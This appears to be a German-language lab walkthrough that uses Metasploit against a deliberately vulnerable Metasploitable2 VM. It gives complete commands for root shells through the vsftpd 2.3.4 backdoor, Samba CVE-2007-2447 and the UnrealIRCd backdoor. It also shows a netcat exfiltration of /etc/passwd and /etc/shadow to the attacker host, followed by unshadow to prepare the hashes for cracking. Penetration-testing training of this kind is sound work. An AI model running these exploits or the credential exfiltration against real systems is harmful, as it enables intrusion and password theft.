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metasploitable2-exploitation-metasploit

Komplette Metasploit exploitation walkthrough gegen Metasploitable2 — vsftpd backdoor, Samba CVE-2007-2447, UnrealIRCd backdoor, Netcat exfiltration und Vorbereitung zum Knacken von Anmeldeinformationen.

Repository anzeigen
8vor 2 MonatenNoch nicht geprüft

Ausnutzung von Metasploitable2 mit Metasploit: VSFTPD, Samba und mehr

Ein praktischer Leitfaden zur Ausnutzung mit dem Metasploit Framework – von der PostgreSQL-Datenbankeinrichtung und db_nmap-Scans über drei Root-Shells via vsftpd, Samba und UnrealIRCd bis zur Exfiltration von Anmeldedaten mit Netcat.


Übersicht

Dieses Repository dokumentiert einen vollständigen Metasploit-Einsatz gegen Metasploitable2 in einer isolierten VirtualBox-Umgebung. Behandelte Themen:

  • Einrichtung von Metasploit mit einem PostgreSQL-Backend und Arbeitsbereichen
  • Ausführen von db_nmap, um Scanergebnisse direkt in der Datenbank zu speichern
  • Ausnutzen der vsftpd 2.3.4-Hintertür (Supply-Chain-Kompromittierung)
  • Ausnutzen von Samba CVE-2007-2447 (usermap_script-Befehlseinschleusung)
  • Exfiltrieren von /etc/passwd und /etc/shadow über Netcat und Zusammenführen mit unshadow
  • Ausnutzen der UnrealIRCd 3.2.8.1-Hintertür

Laborumgebung

MaschineRolleIP-Adresse
Kali Linux 2026.1Angreifer192.168.1.4
Metasploitable2Ziel192.168.1.3

Netzwerk: 192.168.1.0/24 – vollständig isoliertes NAT-Netzwerk in VirtualBox.


Schritt 1 – Metasploit-Einrichtung und datenbankgestützter Scan

root@kitploit:~
# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init

# Launch Metasploit
msfconsole

Kali und Metasploitable2 laufen

Kali-Update und PostgreSQL-Start

root@kitploit:~
msf6> db_status           # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace           # Confirm active workspace

db_status und Workspace-Ausgabe

root@kitploit:~
msf6> db_nmap -A 192.168.1.0/24 -n

db_nmap-Scan läuft

root@kitploit:~
msf6> hosts
msf6> services

hosts und services Ausgabe

Zwei FTP-Server auf Metasploitable2 gefunden:

PortDienstInfo
21/tcpftpvsftpd 2.3.4
2121/tcpftpProFTPD 1.3.1

Schritt 2 – Ausnutzen von vsftpd 2.3.4 (Hintertür)

Im Juli 2011 wurde das vsftpd 2.3.4-Quellarchiv kompromittiert – eine Hintertür wurde eingefügt, die eine Root-Shell auf Port 6200 öffnet, wenn der FTP-Benutzername :) enthält. CVE: CVE-2011-2523. Code-Diff: https://pastebin.com/AetT9sS5

root@kitploit:~
msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor  (rank: excellent)

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info

vsftpd-Exploit-Info – Teil 1

vsftpd-Exploit-Info – Teil 2

vsftpd Optionen anzeigen

vsftpd: setzen von RHOSTS, RPORT, LHOST

root@kitploit:~
msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit

vsftpd-Exploit-Ausführung und Meterpreter-Sitzung

ls auf remoteem Root-Dateisystem

root@kitploit:~
meterpreter> shell
whoami          # root
uname -a        # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

whoami root und uname -a Ausgabe

Gehashte Passwörter extrahieren:

root@kitploit:~
cat /etc/shadow | grep '$1'

Gehashte Passwörter aus shadow-Datei


Schritt 3 – Ausnutzen von Samba CVE-2007-2447

Samba-Versionen 3.0.0–3.0.25rc3 übergeben Shell-Metazeichen im Benutzernamenfeld direkt an /bin/sh über die Option username map script – bevor eine Authentifizierung stattfindet. Metasploitable2 läuft mit Samba 3.0.20-Debian.

root@kitploit:~
msf6> search type:exploit name:samba
# ~7 exploits found

msf6> use exploit/multi/samba/usermap_script
msf6> info

Samba-Exploit-Liste aus Suche

Samba usermap_script Info

Samba CVE-Beschreibung und Referenzen

root@kitploit:~
msf6> set RHOSTS 192.168.1.3
msf6> exploit

Samba-Exploit-Ausführung – Sitzung geöffnet

whoami root und smbd --version auf Samba-Shell

root@kitploit:~
whoami          # root
smbd --version  # Version 3.0.20-Debian

Netcat-Dateiexfiltration

Tab 2 – Kali (Empfang):

root@kitploit:~
nc -l -p 4567 > passwd.txt

Tab 1 – Exploit-Shell (Sendend):

root@kitploit:~
cat /etc/passwd | nc 192.168.1.4 4567

Netcat-Listener auf Kali empfängt passwd

Inhalt von passwd.txt nach Exfiltration

Wiederholen für /etc/shadow, dann zusammenführen:

root@kitploit:~
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt

Schritt 4 – Ausnutzen von UnrealIRCd 3.2.8.1 (Hintertür)

UnrealIRCd 3.2.8.1 wurde mit einer Hintertür im Quellcode ausgeliefert. Das Senden von AB an Port 6667 führt dazu, dass der Server jeden folgenden Befehl als root ausführt – keine Authentifizierung erforderlich.

root@kitploit:~
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit

UnrealIRCd-Exploit-Optionen und Ausführung

UnrealIRCd-Root-Shell – whoami und uname -a

root@kitploit:~
whoami   # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Erforderliche Optionen:


Metasploit-Workflow auf einen Blick

root@kitploit:~
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell

Häufige Fehler


Wichtige Erkenntnisse

  • vsftpd 2.3.4 und UnrealIRCd 3.2.8.1 waren beide Supply-Chain-Kompromittierungen – Hintertüren, die in offizielle Distributionsarchive eingebaut wurden
  • CVE-2007-2447 in Samba wird vor der Authentifizierung ausgelöst – Patchen ist die einzige Gegenmaßnahme
  • Netcat benötigt keine Abhängigkeiten und funktioniert für die Dateiexfiltration auf praktisch jedem Unix-System
  • info vor exploit ist eine Gewohnheit, die sich lohnt – es zeigt CVE, betroffene Versionen und erforderliche Optionen an

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OptionWertBeschreibung
RHOSTS192.168.1.3Ziel-IP
RPORT6667Standard-IRC-Port
LHOST192.168.1.4Kali-Listener-IP
payloadcmd/unix/bind_netcatBind-Shell über Netcat
FehlerWas passiertLösung
Überspringen von msfdb initKeine Datenbank – Scanergebnisse werden nicht gespeichertFühren Sie sudo msfdb init einmal vor der ersten Verwendung aus
Nicht setzen von LHOSTReverse-Shell kann nicht zurückrufenSetzen Sie LHOST immer auf Ihre Kali-IP
Ausführen von msfdb init bei jeder SitzungÜberschreibt vorhandene DatenNur einmal ausführen; mit sudo msfdb status überprüfen
Falscher RPORTExploit schlägt stillschweigend fehlPort aus services bestätigen, bevor Sie ihn setzen
Netcat-Listener zu früh schließenAbgeschnittene DateiübertragungWarten Sie einen Moment nach dem Pipe-Befehl vor STRG-C
Überspringen von unshadowPasswortknacker lehnen getrenntes Dateiformat abFühren Sie immer zuerst passwd + shadow zusammen